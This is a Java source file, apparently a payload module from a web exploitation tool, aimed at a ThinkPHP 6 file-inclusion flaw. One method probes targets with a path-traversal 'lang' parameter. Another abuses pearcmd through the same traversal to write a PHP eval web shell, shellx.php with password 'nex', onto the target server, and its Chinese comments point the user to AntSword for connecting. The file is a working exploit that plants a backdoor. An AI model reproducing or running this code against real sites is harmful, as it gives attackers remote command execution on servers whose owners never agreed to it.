content: package com.agony.demo.exploit;
  
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  public class tp6_lang implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          int CheckCode = 500;
          String payload = url + "/?lang=../../../../../public/index";
          try {
              HttpRequest req = HttpRequest.get(payload);
              if (req.code() == CheckCode) {
                  return new Result(true, "ThinkPHP 6 文件包含漏洞", payload + " (注意漏洞利用条件苛刻,最好结合手动利用;工具不可执行命令,可尝试点击GETSHELL按钮!)");
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, "ThinkPHP 6 文件包含漏洞", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          try {
              String payload_url = url + "/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['nex']);?>+shellx.php";
              int get = HttpRequest.get(payload_url).code();
              int code = HttpRequest.get(url + "/shellx.php").code();
              if (code == 200) {
                  return new Result(true, null, url + "/shellx.php   Pass:nex (用蚁剑连接)");
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, null, null);
      }
  }
  